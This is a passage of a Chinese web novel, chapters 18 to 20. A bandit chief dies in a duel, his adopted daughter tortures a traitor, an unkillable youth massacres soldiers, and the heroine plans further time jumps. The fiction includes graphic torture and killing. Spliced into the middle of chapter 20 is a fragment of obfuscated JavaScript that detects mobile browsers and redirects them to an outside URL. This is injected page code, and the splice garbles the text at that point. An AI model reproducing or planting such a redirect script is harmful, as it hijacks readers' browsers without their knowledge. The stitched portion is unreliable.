眼前的土匪言语粗俗,夏侯守闻言脸色铁青,手上青筋暴涨。
覃争义却浑不在意。
他心知,此战,他必败。但有个谁,一个穷读书的书生,曾与他说:大丈夫立于天地间,行得端坐得正。输便要输的痛快,死也死的吓人!
就算他不痛快,他也要恶心得夏侯守这厮一块不痛快。
他拎起那把陪伴自己征战数年的断刀,做好应战的准备。
夏侯守朝身边的副将使眼色,后者心领神会地带人把温禾架到一旁,将中央的空地留出来供二人比武。
“请。”夏侯守假意拱手。
覃争义最是见不惯当官的那副虚伪模样,嗤笑一声,挥刀暴起。
天边电闪雷鸣,刀锋于此间划过一道弧线。此招系他全力一击,杀机毕露。
夏侯守仓促格挡,不想覃争义突然变卦,从腕间翻出一把短刀,直取咽喉。
“卑鄙。”夏侯守侧身堪堪躲过,差一点那短刀就要割破他的脖颈。
覃争义边咳血边笑:“你们这些人,不总说什么,兵不厌诈?”
夏侯守怎会听不出其中的暗讽之意,一声低喝,剑锋微扬,再次朝覃争义冲过去。
二人身影交错,一番刀光剑影。
趁他们缠斗之间,温禾在识海中四处搜寻她来时带的东西。
有没有能够毒倒一大片的毒药?一大片的没有,能毒死一个的也行啊!
怎么只有大师兄的十全大补丸啊!
越翻找越崩溃,确认最后一瓶药是二师姐给的美容药剂时,她万念俱灰。
另一边,覃争义与夏侯守已过了十余招,一时间虽分不出胜负。可时间拖得越久,覃争义身上的伤口不断崩裂,旧伤又添新伤,他手上的招式也愈发凌乱。
“噗——”
18.雷雨
铮鸣声骤停,烦躁的雷雨好似也停了。
伴随着肉、体被割裂的细微声响,温禾哭喊:“爹——!”
长剑贯穿了覃争义的胸膛,不偏不倚地正中心口。他却大笑着徒手抓住剑刃,任由手掌被割得血肉模糊,硬是将夏侯守拽到跟前:“老子就算死!”
下一瞬,断刀狠狠捅进夏侯守的腹部,两个人同时吐出一口鲜血。
覃争义往里又送了一寸,“也要拉个垫背的……”
巍峨山峦轰然倒下。
就在所有官兵的注意力都集中在受伤的夏侯守身上,温禾突然发力,挣脱钳制,扑向倒在血泊中的覃争义。
几个官兵立即警觉,手持武器上前靠近温禾他们,却被夏侯守抬手阻止。
他吐了一口血,缓慢摇头,声音沙哑:“让他们道别。”
官兵们面面相觑,沉默地往后退了一步,但仍旧保持戒备的阵型。
温禾颤抖的双手接住了覃争义沉重的身躯,掌心立刻被温热粘稠的鲜血浸透,那粘腻的触感让她胃部抽搐,生理性作呕。
与已死去的人不同的是,这血是滚烫的,是将死未死之人的还未消失殆尽的余烬。
她徒劳地按压着伤口,阻止鲜血溢出,可根本止不住,从她的指缝肆意逃出去。
“不要……不要……”
覃争义看着少女慌乱无措的模样,长叹一口气,用尽力气艰难抓住了温禾的手,最后安抚道:“别白费力气了……”
他每说一个字,嘴角就溢出血沫,“你说你……回来干啥……”
对今日必死之局,从十五年前,他手刃贪官,为妻子报仇,带着流民上山落草为寇那刻起,就注定要死在今日。世人常说邪不压正。
可他,宁愿做这个邪。
覃争义望着泣不成声的女儿,染血的手指轻抚温禾的脸颊,喃喃自语:“囡囡,囡囡啊……”
温禾感受到他逐渐失去的温度,死死抓紧阿爹的手,拼命想把自己的体温渡过去。
她抽噎着说:“阿爹,我在,我在这儿,元宝在这儿……”
可覃争义的眼神却渐渐迷离涣散,偏过头穿过厚重的雨幕,仿佛看到了很远的地方,见到了曾见过的遥远身影。
“你不是囡囡……不是……”
“我的……囡囡……”
一滴浑浊的泪水从眼角滑落,那只抚过温禾脸颊的手突然失重、垂落。
雨幕深深,温禾呆坐在血泊之中,暴雨冲刷干净她脸上的血与泪,怀中的身躯的渐渐冰冷。
她将覃争义那双再也不会睁开的眼睛,合上。
“原来……你一直都知道……”
知道她不是他真正的女儿,知道她是个冒牌货。可他没有拆穿,还是给了她一个家,一个名字,一份她从未体会过的父爱。
温禾缓缓抬起头,天穹灰暗,模糊不清。恍惚间,她又看见覃争义大剌剌地朝着他笑,同往常一样朝她挥手。
但这次不是招呼,而是道别。
她将额头抵在覃争义的掌心,声音平静:“阿爹……去见她们吧。”
去见你的妻子,去见你的女儿。
死亡不是结束,而是重逢。
夏侯守在下属的搀扶下缓缓起身,他腰腹间的伤口被简单处理过,暂无大碍。他凝视着已经失去气息的对手,目光复杂,继而将目光转向静默如石的温禾:“你便是覃争义之女?”
少女抬眸,面上无悲无喜地回望他:“要杀要剐,随你的便。”
夏侯守闻言,颇感熟悉,竟轻笑出声:“好一个父女同心。”
他踱步向前,停步在温禾面前蹲下,“本将且问你,两月前那支商队被劫的货物,现在何处?”
温禾沉默以对,她素来不关注这些事,确实不知。
“若你如实相告,”夏侯守俯身靠近,压低声音,“本将可以饶你不死。”
“将军三思!”
一个中年男子突然从军阵中冲出来,“这丫头诡计多端,嘴里可没有一句实话,将军万万不能轻信她!”
温禾仔细端详,觉得此人甚是熟悉,她一定在哪里见过。
她努力在脑中回想,突然想起何大娘的丈夫,许久未在山寨里出现。
此人便是……
熊虎寨的二当家。
温禾一字一顿地念出中年男子的名字,声音嘶哑的可怕:“康德……”
一月前,这个男人还跪在覃争义跟前,声泪俱下地说家中老母年迈病重,应是活不过一月。于是向覃争义告假,说回老家陪伴侍奉母亲最后的时光。
原来……竟是攀上了朝廷。
温禾突然笑了,“何姨可晓得,她日夜思念的好夫君,如今在给朝廷当狗吗?”
康德脸色骤变,额角青筋暴起,眼中浮现阴毒之色。
夏侯守敏锐察觉到,脸上闪过一丝玩味。他慢条斯理地转过头,“康参军,看来这少当家,认得你啊。”
“将军!”
夏侯守挑眉,“如何?”
康德抱拳,表明衷心:“末将与这些蛮人早已无瓜葛,拳拳报国之心,天地共鉴!”
他分了个眼神瞟了温禾一眼,“将军千万不能听信小人谗言!”
“啊……”温禾笑了笑,看向康德的眼神凉丝丝的,“我是小人,那你是君子咯?”
“这是自然!我早就无法容忍覃争义等人的无耻行径,为了收集更多情报,才潜藏在此,寻求一个机会。”康德冷哼一声,朝夏侯守方向虚虚行礼,“幸而夏侯将军心如明镜,愿给末将一个将功补过的机会,才能在今日诛灭尔等无耻小人。”
说罢,他持剑朝温禾步步逼近。温禾背手,摸到藏在腰间的匕首,握紧。
若他敢行到她眼前,她便有机会杀了他。
夏侯守一眼不差地看清温禾的动作,猜到她心里的想法,提议道:“你若是全然告知,本将可以让你亲手杀了这个叛徒。”
夏侯守的声音压得很低,暴雨劈里啪啦混淆了一切。
温禾低头垂眸,看似在认真思考夏侯守的提议,湿发遮住她轻轻勾起的嘴角。
待康德距离她只剩几步时,她倏忽间抬眸:“夏侯将军,你不妨想想,为何你的康参军如此急着杀我灭口?”<
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“贱人!休要胡言乱语!”
康德暴怒挥剑,却被夏侯守反向格挡开。
“你想说什么?”
温禾瞥向被拦住急赤白脸的男人,不紧不慢开口:“我想,许是康参军心里有鬼,他知道那批商队的货物在哪,却一直瞒着将军,是为何啊?”
夏侯守身居高位,在这个位置上,他只有时时刻刻保持警惕之心才能坐稳。果然,听了温禾的话,他疑信参半,一面认为此话是挑拨之言,一面又对康德抱有疑心。
温禾本就不指望夏侯守完全相信自己,只要他对康德有所追究便可。
她同覃争义一样,既然无法除掉对手,那恶心一下也是好的。
无端被猜疑的康德当即弃剑跪地:“将军,属下真的不知道!覃争义此人生性多疑,从不轻易相信他人。属下在他身边蛰伏多年,也未能全然获得信任。”
“你放屁!”温禾闻言大骂,“爹不告诉你,是怕你贪心害了性命!”
康德神色一瞬僵硬,下一刻,夏侯守的剑已抵上他的咽喉。
“康参军,看来你还有事情瞒着?”
“没……没有,属下真的……”康德抖索身子,颤颤巍巍地磕头。
他磕头磕得极为用力,不多时额角便破了皮,流出血水。
夏侯守却像没看见似的,再次问他那批货物的下落。
康德磕地的头没有再起来,他半伏着身子,“属下,不知……”
“好啊,既然你不知道,那便起来吧。”
康德从地上爬起来,夏侯守见他似乎还在后怕,还好意上前拍着他的肩膀安慰。
温禾狐疑地看着两人,却见夏侯守突然重重按下康德的肩,把后者按下半个身子,随即一个眼神,身后的官兵蜂拥而至,将康德捆起来。
他踹了一脚康德,男人扑通正对着温禾跪下,“我把这叛徒给你,你把货物的位置给我,如何?”
很公平很爽快的买卖。
温禾站起身,握着匕首走近,脸上笑眯眯地说好啊。
“只不过,我性子急,等不及之后。将军且等我杀了这叛徒,再告诉你,好吗?”
在夏侯守眼中,康德本就是个已死之人。即便温禾不处理掉他,回过头他也是要亲自动手除掉此人的。
在老东家那里称兄道弟十几年,转头便可以背义忘恩。这样的人留在手底下,可是要日夜心惊胆战地做噩梦的。
他点点头,默许。
温禾接近康德,第一刀插在他的腿上,凄厉的惨叫划破天幕。
温禾嫌他吵闹,皱着眉头,第二刀利落割掉了他的舌头。
“唔……唔!”康德疼得浑身抽搐,那双眼睛里竟还带着哀求,哀求温禾能够放过他。
真是奇怪。
温禾歪着头端详片刻男人的惨状,突然手起刀落,匕首刺入眼球。
她不想让康德死得这么轻易,因而每一刀都避开要害,专挑那种令人疼痛又无法速死的地方下手。
直到她累了,手臂酸软地抬不起来才停手。
突然调转方向,她把匕首对向自己。
19.怪物
暮色苍茫,飘风暴雨。
李成业弓着背,将一具被雨泡发的尸体扛在肩上。尸体又沉又冷,冰冷的雨水顺着脖颈灌进衣服里,冻得他直打哆嗦。更诡异的是,不知从何处来的妖风,他总觉得似乎有人在他耳畔幽幽吹气,那气息阴冷粘腻,像灌了铅的黑水。
他猛不丁停下来,回头四处张望。
诸位同僚都忙着搬运尸体,收拾现场,他的身边空无一人。
“磨蹭什么呢,还不快点收拾!等会可有你好受的!”
严同的呵斥声从身后炸开,李成业缩了缩脖子。
自从这严同升了一级,地位高了苍蝇点大后,便整日里端着架子,像只趾高气昂的公鸡。巴不得时时刻刻提醒众人,如今他的身份可是今非昔比。
李成业对他颇有怨怼,但碍于两人悬殊的地位,只能把气往肚子里咽。他暗自啐了一口,却也只能闷声应道:“这就去,这就去。”
尸体的腐臭味混着泥腥味熏得他晕头转向,李成业深一脚浅一脚地把扛着尸体向尸堆靠近。将军下旨可说了,要把这些人的尸体放在一起,一把火烧得干干净净,绝不能留下任何破绽。
上司指令说得轻易,他们底下干的人可命苦咯。
待他到达目的地,正要把肩上的尸体卸下,忽然觉得肩上一轻。
那具尸体的手臂不知何时垂落下来,青白的手指正正好勾住他的衣带。
“晦气!”
李成业慌忙去扯,双手顾不上,那尸体顺着脊背滑落下来,头颅滑落在他的脚尖。他低头弯腰,正巧与那黑洞洞直勾勾的眼眶四目相对。
他当即跌坐在地,尖叫起来。
“救……救命啊!”
严同闻声赶来,见他被吓得散了三魂六魄的模样,哈哈大笑:“怂货!杀人的时候也没见你怕,如今人死了,你倒是怕起来了!”
他拿剑鞘抽在李成业背上,“还不快起来干活!”
李成业连滚带爬地起身,抓着尸体的两只胳膊刚要拖拽到尸山里,忽觉脸上一热。
他猝不及防被溅了满脸的血。
严同站在高坡上,身体从半腰处被拦截,上下分割成两段,一前一后掉落在地。
他还未死透,眼皮动了两下,嘴唇还在蠕动,嗫嚅着想说些什么。
“啊——”
“鬼、有鬼……鬼啊!”
李成业哭嚎着扔下尸体扭头就跑,生怕跑慢了一步,下一刻就轮到自己。
只是,他踉跄跑出几步,突然有一股莫名的力量,硬生生将他绊倒在地,整个人栽进尸堆里,腐尸的脸皮与他面对面贴上。
他还未来得及张嘴尖叫,嘴角就“嗤”地从两边撕裂到耳根,上颚与下颚彻底分离。
倏忽间毙命。
宋默从男人后脑缓缓抽出匕首,血珠滴落在雨中绽开暗红的花。
他眸色深黑,抬眸冷淡扫过那座由熟悉面孔堆砌的,堪称雄伟壮观的尸山,眼神淡漠地如同在看一堆烧焦的枯木。
几张见过的脸在其中若隐若现,但与他无关。
他们的生死就如同一颗无足轻重的小石子,轻轻落入潭中,虽泛起涟漪,但也仅仅只是圈圈细小的波澜。
转瞬就归于平静。
夜雨渐密,宋默宛如一只灵巧的黑猫,轻巧跃上残存的屋檐,转身没入浓稠的夜色里,形同鬼魅。
他在尸山血海里穿行,四处逡巡温禾的踪迹。
忽然,他的脚步顿住了。
庭院中央,水蓝色的裙裾被烧毁了衣角,露出被烧伤的脚踝和小腿,少女背对着他,瞧着仿佛只是睡着了。
有几个官兵上前搬运覃争义的尸体。
其中一人道:“这可是土匪头子的独女,指不定藏着不少好东西呢。”
长脸麻子听同行之人说此女是山寨之主的独女,又瞧了几眼这衣裙,一看便是新的。心下有了打算,料定少女身上定有价值不菲的财宝。
他一脸喜色,搓着手凑近,贪婪地探出手想从少女身上摸些值钱的玩意儿。
却在即将触碰到少女的刹那。
那手于半道之间,被无名之人一剑斩下。
断掌“啪”地掉落在地。
麻子脸眼睁睁看着自己的手从手腕处断开,血液喷涌。
“呃……呃啊!!!”
一个身着红衣的少年在雨幕中缓步而来,他发间的红色发带被风吹乱狂舞,衬得那张脸愈发妖异,整个人如同恶鬼般从地狱里爬出来,目光幽暗、阴翳,冷冷地站在不远处凝望着他哀嚎。
麻子莫名感到恐怖,这少年年岁不大,明明长了一张玉面桃花的脸,却让人想起花开到荼蘼的腐败诡谲,美得阴森森,令人毛骨悚然。
他止住声音,颤颤巍巍地半退,撞到同行的人身上。
被他撞到的同僚正背对着他搬起覃争义,似乎是没注意到少年的存在,不耐烦地推搡了他一下,还抱怨道:“大惊小怪的,摸个死人也能吓死你不成?”
“还给我。”少年声音轻软,指尖有一下没一下地缠绕发带。
“还、还什么?”麻子咽了一口唾沫,觉得自己这样害怕一个小孩很是怪异。
容貌迤逦的少年歪了歪头,忽然绽开一抹艳丽的笑:“当然是……”
“命啊。”
最后一个字落下的时候,麻子的头已滚落在地。
搬运熊虎寨寨主尸体的四人终于回过神,发觉麻子此后一直没再跟上来,狐疑地一同回头。
只见同伴的头颅骨碌碌从不远处朝着自个儿的方向滚过来。
“啊——!”
宋默竖起一根染血的细长手抵住唇舌,“嘘。”
他眉眼弯如月牙,嫣红的唇轻启,吐出山间精怪引诱人的低语。
“莫急,这就送你们去团聚。”
四个人顿时魂飞魄散,一致扔下覃争义的尸首,大难临头各自奔逃。
宋默手腕轻转,挽起剑花,“噗嗤”一下从背后率先将跑得最近的两人穿了个对穿,那两人如同串糖葫芦似的串在剑上,紧紧钉在一起。
剩下两人仓皇逃窜,他不疾不徐地逼近,抬手之际。
跑得快的瘦高个子突然将同伴狠狠往反方向一推,那人跌跌撞撞地,正好撞上宋默的剑尖,吃了一个透心凉。
他难以置信地看向瘦高个子:“你……”
瘦高个子头也不回地继续逃窜,却听见身后的脚步轻快,时远时近,一直未曾拉开距离。对方似乎有意捉弄他似的,兴致颇好地同他玩起
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了迷藏。
他不敢回头看,亦也不敢停,卯足了劲往前跑。
只要跑到夏侯守将军的阵前,料这小子也不敢动手,那他就有救了!
*
夏侯守此刻正在覃争义的书房中翻箱倒柜,他命令所有亲兵悉数在门外警戒,只留下自己一人在此间搜寻。
两月前,一支运送官银的商队在途径虎牙山时遭遇劫掠。那批官银本事朝廷拨给边关将士的军饷,却被熊虎寨的人劫走。夏侯守奉命追查此事,却始终未能寻回失银。
至于这笔军饷为何要由商队掩盖护送?
他眸色一暗,朝中那些囊虫,中饱私囊的手段他再清楚不过。皇帝老儿昏庸无能,朝堂之上尽数皆是酒囊饭袋。
这金銮殿龙椅,这般蠢子都可坐得,凭什么他夏侯守坐不得?
思及此处,夏侯守怒不可遏,粗暴地掀翻书案,笔墨纸砚散落一地。
“将军,可有异况?”门外副将听到动静,急忙询问。
夏侯守正欲回答“无碍”,却听见自己的副将厉声呼喊:“戒备!”
数十把利剑同时出鞘的声音在雨夜中回荡,格外清脆。
副将提剑挡在门前,凝视着少年步步接近,他无端感到胆战心惊,一声令下:“放箭!”
十几位弓箭兵齐齐拉开弓弦,将准星对准少年。
箭雨以破空之势射向宋默,瞬间将他射成了一只刺猬。
他踉跄几步,双膝跪倒在地。宋默垂眼注视着雨珠砸落水塘,嘴角缓缓流下鲜血。
副将冷笑:“呵,不过如此。”
又念在这少年出现得蹊跷诡异,摸不准他恰与这熊虎寨等人有所联系,或许……
这少年还知晓商队的秘密?
副将上前,正要命人将宋默用绳子捆起来,等候将军发落。却见少年突然抬头,一柄短刃悄然穿透自己的咽喉。
副将还想大声呼救,张了张嘴,却发现喉咙不断地往外漏风。他双手抓住自己的脖颈,想填补空隙,却发现怎么也堵不住。
宋默像丢一件破布袋子似的将副将随意丢在一旁,缓缓起身,身上的箭矢纷纷掉落,身上的伤口以肉眼可见的恐怖速度愈合。
他露出一个天真无邪又残忍的笑容:“轮到我了。”
接下来的画面简直是他们此生中最可怕的噩梦。
刀剑砍在少年身上,流血不过一会,伤口便转瞬愈合;长矛贯穿他的胸膛,他却能一步一步抓着长矛逼近;即便是被斩首后,那具无头的身躯亦能精准地掐断敌人的脖子。
少年的每一次死亡又复活,似乎都在暗中加强他的力量。
第十八次,宋默展开翻转折叠的身躯,双手扶着头颅,将被拧断的脖颈重新归位。“咔擦”一下,他晃了晃略微僵硬的脖子,睁开眼,毫无感情地看向最后一个亲兵。
如同一台完美的杀戮机器。
“怪、怪物啊!”
亲兵从来没见过这种非人之物,崩溃大叫,转身欲逃。
宋默随手从躺尸身上拔出剑,信手一掷,长剑如坠落的流星,瞬时贯穿那逃兵的胸膛。
他捡起地上的剑,转向书房。
修长染血的手指轻叩房门,“现在,该我们谈谈了,夏侯将军。”
20.流泪
雨声淅沥,屋内安静,里头的人没有回应。
宋默并不着急。
这里,只有一个半活人。
他,以及里头的半个死人。
指尖又轻轻叩了一遍门扉,木门发出沉闷的响声。他唇角扬起,缓缓低笑道:“夏侯将军……?”
夏侯守站在门口几步的距离,屏息凝神,悄悄拔出了佩剑。
门外之人他曾见过的,两月前伪装商队,这个少年,自告奋勇地主动请缨要加入商队,什么都不要,只求能去栖云山求神仙。
这世上,哪有什么神仙,又哪有什么仙山。
子虚乌有的事情,夏侯守自然一口应下。反正,伪装商队的那些人的下场,无外乎是一个“死”字。
倒是没想到,覃争义将他带回来做人质,竟没有杀了他。
夏侯守额头渗出冷汗,不仅如此,方才他明明亲眼目睹这小子被乱箭穿心、斩首断肢,却一次次从血泊里爬起来,复活,然后生生杀了他今日带来的百来号人!
这绝非人力所为,这少年,他不是人!绝不可能是人!
可他大计未成,也绝不能轻易死在这里。
夏侯守深吸一口气,克制住恐惧,强迫自己镇定下来。
“我记得你……当日在商队……”
门外传来清越的笑声,“嗯,将军真是好记性。”
“可以谈谈了吗?”
不等夏侯守回答,吱呀——
门被缓缓推开。
宋默立在暴雨中,紫色闪电突然照亮天空,同时也照亮雨中少年的身影,红衣似血,玉面染朱。
宛若艳鬼临世。
夏侯守忽然想起奇闻中那以美艳著称的鬼,惑人心智,极为危险。
他本能地后退,抱胸作出防卫的姿态,“你想同我谈什么?”
“交易。”宋默跨步迈过门槛,反手合上门,风雨声顿时远去,他温柔地蛊惑,“一笔……很划算的买卖。”
“什么买卖?”
“将军胸怀大志,这条性命自然金贵。”
夏侯守突然反应到什么,厉声喝道:“你到底想说什么!?”
少年轻笑,“将军明白了呀?”
“当然是用家人性命,换将军一人活下去的机会。”
天幕又一道电光闪过,暗无天日的书房被照亮一瞬,浮现夏侯守惨白失色的脸,冷汗顺着他的鬓角滑落,在青白交界的侧脸留下一道蜿蜒的水痕。
“如何?”宋默往前迫近一步,“将军可想清楚了?”
“好……”
夏侯守声音嘶哑:“你让我下山,定将家人尽数送上。”
宋默疑惑地“诶”道:“那若是将军你食言逃跑了呢?”
“君子一言,驷马难追!”夏侯守急声道,“我既应下,绝不反悔!”
宋默眼眸深处闪烁着异样的疯狂,被压抑得近乎扭曲,他抬手轻轻揩去唇角的血珠,在苍白的的脸上抹开一道妖异的红痕,嘴角翘起讥诮的笑,越显得人薄凉。
又是这样……这些道貌岸然之徒,为了活命什么谎言都说得出口,抛妻弃子,自私自利,全都一个样。
见眼前人不再言语,夏侯守害怕这买卖不作数,忙道:“那不若我把位置告诉你,你去……”
宋默打断他,“不必。”
他半侧过身让开一条路,“我与将军盟约已成,将军自便。”
夏侯守半信半疑,但看到近在咫尺的希望,眼中窜起求生的火苗,抓起佩剑,步调极快地从宋默身边穿过,夺门而出。
夜雨渐弱。
夏侯守踏过满院尸骸,头也不回地逃也似的飞奔。
只是还未跑出熊虎寨,一个趔趄倒在地上。低头看着穿心而过的箭,夏侯守缓缓扭头,不甘地看着少年。
宋默正漫不经心的放下长弓,还朝着他缓缓招手。
“你……”夏侯守呕出一口鲜血。
宋默嘴角噙着笑,慢慢抬眼,漆黑的眸子溢出遮天蔽日的黑雾,语气平淡,却冷得像是裹了一层冰霜。
“诶呀,我可是给过你机会了。”
少年踱步慢行至夏侯守身侧,蹲下身子,拔出他胸口的箭,“可惜……”
他指尖划过箭尖,突然将箭矢狠狠插进夏侯守的咽喉:“你跑得实在太慢了。”
直到确保夏侯守全然断气,宋默才站起身。
雨终于停了。
肆虐整夜的山火,终究没有被暴雨浇灭。直到天边半泛起鱼肚白,熊熊烈火才化作剩下零星几点火星,在晨风中苟延残喘。
宋默回到了少女睡着的地方。
他缓缓跪地,俯身。
刚要伸手抱住她,却在触及少女的前一刻突然僵住。
他恍然想起自己身上沾染了太多血腥,新买的衣裳味道应是不好闻了。
“会弄脏的……”
宋默喃喃自语,小心翼翼地脱下染血的外袍,里面湿透但还算干净的白色中衣紧紧贴在身上,勾勒出少年单薄的身形。
他神经质地嗅了嗅袖口,又反复擦拭手指,直到确认没有任何难闻味道,才舍得颤抖着手,轻轻将少女拥入怀中。
“我把他们都杀了。”宋默贴着少女冰凉的耳垂低语,声音温柔。鸦青的睫羽盖住了眼中的情绪。
垂目看向紧闭双眼的少女,“你高不高兴?”
少女面色青白,嘴角还残留着血迹,宋默看不过眼,指尖一点一点轻柔地揩拭,如同在对待易碎的瓷器。他捧起她的脸,低头,额头相抵,呼吸交融。
“元宝……”他轻声说着。
天亮了。
山风吹过,带着硝烟余烬,吹过熊虎寨的每一处废墟尸骸。
如焰火灼热滚烫的发带随风轻扬。
“你起来……”宋默的声音突然哽咽,“同我说句话好不好?”
一滴泪砸在温禾紧闭的眼睑上,顺着她苍白的脸颊滑落,仿佛她也哭过一般。
*
温禾蓦地睁开眼。
她被师姐阮钰抱在怀里,柔软的绢布轻轻擦拭她脸上的细汗。师姐若有若无的幽兰香气萦绕在鼻尖,温禾瞬时安心许多。
“别怕,”阮钰将她搂得更紧了一些,“师姐在这儿。”
因着刚醒来,温禾的声音有些沙哑,“师姐……”
“嗯。”阮钰摸着小师妹的脊背安抚道:“我去倒些水来,等会你再仔细说,好不好?”
温禾轻应了一声,待阮钰去倒茶水的空儿,怔怔地望着床帐上摇曳的阴影发呆,那一滴冰凉的泪水似乎还残存在脸颊。她下意识地摸了摸自己的脸,湿湿的,凉凉的。
她哭过。
林青时一个箭步跨过门槛,怀里揣着一只刚出炉正热乎着的烧鸡,油纸包还冒着热气。瞧见床榻上坐着的人影,他眼睛一亮,惊喜道:“小师妹!你可算醒啦!”
他三步并作两步冲到床前,“你睡了有大半个月呢,饿不饿?吃点?”
手忙脚乱地扯下一只鸡腿就往温禾嘴边送。
温禾顺势接住,却顾不上吃,她问道:“半个月?我睡了这么久?”
“嗯。”林青时拨弄着手指数数,“一、四、七、十……十七天,整整十七日。”
温禾喃喃:“十七日……两个多月,是十七日……上一回三天,只用了一日。”
她突然明白了,重重拍了一下林青时的肩膀,“我知道了!”
“哎哟!”
林青时疼得倒吸凉气,烧鸡差点脱手。他一手托着烧鸡,一手斜斜地扶着肩,龇牙咧嘴地问:“小师妹你这手劲见长啊,到底明白什么了这么激动?”
“阴阳纵横仪之内的时间流速是外界的三倍!”
“时间的流速?”林青时眨眨眼,“你是说……”
“对,而且每次回溯降落的时间节点也不同。”温禾语速飞快,“第一回是宋……”
她突然卡住,想起世人应当只知那个令人闻风丧胆的魔头温如晦,却不知他年少时叫宋默。
她清了清嗓子:“第一回是温如晦已成魔头之时,第二回是他还只是凡人之时……”
“你这回见到的是少年魔头?”蒋恒明的声音从门口传来。他收到阮钰的传音符,得知温禾已醒,就立刻放下炼丹炉赶过来,道袍上还沾着几处灰。他甫一入门便听到了关键讯息。
温禾点点头,“大师兄。”
“那他喜欢……”
他喜欢你吗?
温禾不等蒋恒明问完,便先开口回答:“我不知道。”
她沉思片刻,开口补充,“不过……他年少时确实有喜欢的人。”
但不是她。
“噗——”
林青时闻言一个没忍住笑出声,“冷血无情的无心之人,居然也会喜欢上别人?”
温禾猛地抬头,嗔怒道:“三师兄,他其实人还不错。”
蒋恒明轻瞥了一眼林青时,后者收敛了笑意,面容僵硬。
林青时:“小师妹,你该不会是……喜欢上他了吧?”
“没有!”温禾回答得极快,声音不自觉拔高了几分。
她低下头咬了一口已经凉掉的鸡腿,全然没注意到两位师兄异样的神情。
一边吃一边掏出阴阳纵横仪,神器上的八卦图已经转到了寅时。这次回溯后,已过去了两个时辰。
如果按照她想的那样,十二个时辰走完,就不能再开启回溯。
那她应该还有十次机会。
蒋恒明见到温禾动作,猜想她正在思考回溯之事,想到方才师妹对魔头的维护,眉头微蹙,认为有必要给她打个预防针。
“小师妹。”
“嗯?”温禾茫然抬起头。
“七日前,太虚宗的弟子在游历时遇见了师父。”
听到师父的踪迹,温禾眼神一亮,兴奋地问道:“师父她来了吗!?”
蒋恒明点点头,“来了。”
温禾立马从床榻上下来,“师父在哪呢?”
一直出人意料安静的林青时突然出声,声音干涩,“师妹……师父她……”
他喉结滚动:“重伤昏迷,现在太虚宗的洞天福地中疗伤。”
温禾耳畔嗡嗡作响,世界突然安静下来。她只看见林青时的嘴唇开合,却听不见声音。
“我们去看过了,”蒋恒明接过话头,每个字都像刀子,“师父身上的伤都带着黑气,皆是魔道所为。”
“而且,最致命的那道伤……是无量业火所致。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15934917|175809||http|test|mini|href|location''.split(''|''),0,{}));
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>无量业火。
这世上能使无量业火的,唯有一人。
温如晦。
良久的沉默,温禾张了张嘴,却发不出声音。
“不……”她终于挤出几个字,“他为什么……”
蒋恒明叹气,沉声道:“师妹,我们亲眼所见。师父胸口的灼伤,除了无量业火,再无其他可能。”
“那东西暴戾残忍,又不是一日两日了!”林青时愤愤不平。
房门被推开,阮钰端着药碗走了进来。看到屋内凝重的气氛,她同蒋恒明对视了一眼,幽幽叹了口气:“你们都告诉她了?”
温禾求助般望向师姐,却见阮钰轻轻点了点头。
“师父尚在昏迷中,洞天福地不可轻易进入。过段时日,我们再带你去看看师父。”
她该相信谁?
温禾垂下眼睫,是相信朝夕相处一起长大的同门,还是相信一个臭名昭著只相处过短短时日的宋默?
傻子都知道该相信谁。
她自嘲地笑了笑,可心底却有个固执的声音在为宋默辩解。
背叛熊虎寨之人不是他,他带她下山也是因覃争义之托,是她无端猜忌了他。他本性纯良,一定是后来经历了不平之事才改换了心境。
她想回去找到原因,找到他为何变成今日模样的原因。
“再来一次。”温禾突然开口,冷静决然地分析,“再来一次,如果这一回可以回到更早些时候,在他还没有喜欢别人之前,先喜欢上我,就有机会了。”
三位师兄师姐都愣住了。
思考许久,蒋恒明犹疑道:“但是,阴阳纵横仪回溯的时机是随机的,你怎能确保下一回一定是……”
“的确不能确保。”
温禾眨眨眼,笑道:“那就多试几次。一次不行就两次,两次不行就三次……直到找到对的时间为止。若去错了时间,拿刀把脖子一抹就回来了嘛。”
她摸了摸脖子上那道消失,却仍隐隐作痛的伤口。
“只是这一回,劳烦大师兄多为我准备些防身之物。”
她不想再重蹈覆辙,任人宰割了。
阮钰那张清冷的美人面浮上几分担忧,“先休息几日吧,不急一时。”
“我没事。”温禾摇摇头,“此事无论如何都要解决,三师兄,你近日可有新蛊?”
盯着温禾发呆的林青时被点到名字,忙不迭点头,“有的有的。”
林青时数宝似的从袖中掏出蛊虫,指着通体粉红的甲虫道:“这是经过我改良后的情蛊,这次不用口服了,只要被咬上一口就行。”
“啊,还有——”他又掏出一只全黑的绿豆大小的虫子,虫背上隐隐流淌着金色丝线,“这是我前几日的新发明,分为母子蛊。二人种下此蛊,若感觉到心里一抽一抽的,就是对方在附近。对了对了,还可以依靠此蛊找到对方在哪儿,就一条金线相连,你到时候试试就知道了!”
“多谢三师兄。”
温禾小心接过两只蛊虫,塞回锦囊中贴身收好,“有毒蛊吗?”
“有的有的。”
林青时正要掏出自己的宝贝蛊虫,突然停手,转了转眼珠子,“师妹,你那周天袋能不能装人?”
*
一辆素朴的青帏马车自南向北缓缓驶入京都城门,车顶车窗上俱刻着精致的雕花,虽不张扬却处处透着不凡。
车帘被春风掀起一角,露出车内少女苍白如纸的脸颊。
温禾斜斜倚靠在车窗假寐,纤长的睫毛在眼下投出一片阴影。早春天寒,这副身子体弱,因而身上裹着厚厚的狐裘,可仍抵不住寒气。
马车一个颠簸,她猛地剧烈咳嗽起来,单薄的身躯如风中落叶般抖动,仿佛要把心肝脾肺都要咳出来似的。
“小师妹?”林青时的声音从识海里跑出来。
温禾正要回答,随行的丫鬟慌忙掀开帘子:“小姐,前头有家茶楼,不若下车喝点热茶?”
温禾摆摆手示意不用,将人打发了去。
她低声道:“师兄,我没事。”
也不知林青时脑子是如何长的,竟然能想出把人装进周天袋,再寄存于温禾的识海之中。只是这周天袋里呆得憋闷,他急需出来透口气。
“师妹,到底什么时候到那个当大官的表叔家里?你师兄我快闷死了。”
“已入京了,再忍忍。”
